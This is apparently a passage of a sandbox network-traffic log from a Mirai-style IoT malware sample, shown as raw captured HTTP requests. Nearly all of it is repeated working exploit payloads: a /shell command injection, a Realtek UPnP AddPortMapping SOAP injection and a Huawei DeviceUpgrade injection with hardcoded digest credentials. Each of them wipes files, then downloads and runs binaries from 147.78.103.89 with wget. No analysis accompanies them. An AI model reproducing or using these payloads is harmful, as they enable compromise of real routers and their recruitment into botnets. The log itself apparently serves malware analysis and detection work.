                                                      Mar 13, 2024 16:27:09.445342064 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:27:09.978437901 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:27:11.034410954 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:27:13.210462093 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:27:17.562272072 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:27:26.010009050 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:27:42.649564028 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:28:17.464529991 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      55192.168.2.15391445.212.35.765501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:09.788136959 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:27:10.554501057 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:27:12.058396101 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:27:15.258367062 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:27:21.402239084 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:27:33.433760881 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:27:59.033135891 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:28:48.183631897 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      56192.168.2.1551676147.46.193.415501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:14.560872078 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      57192.168.2.153689294.123.81.1765501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:14.792630911 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      58192.168.2.155456645.43.235.16152869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:15.654597044 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      59192.168.2.1533936156.254.106.19137215
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:15.691611052 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:19.866153955 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:26.009984970 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:38.041637897 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:03.129101992 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:52.279532909 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
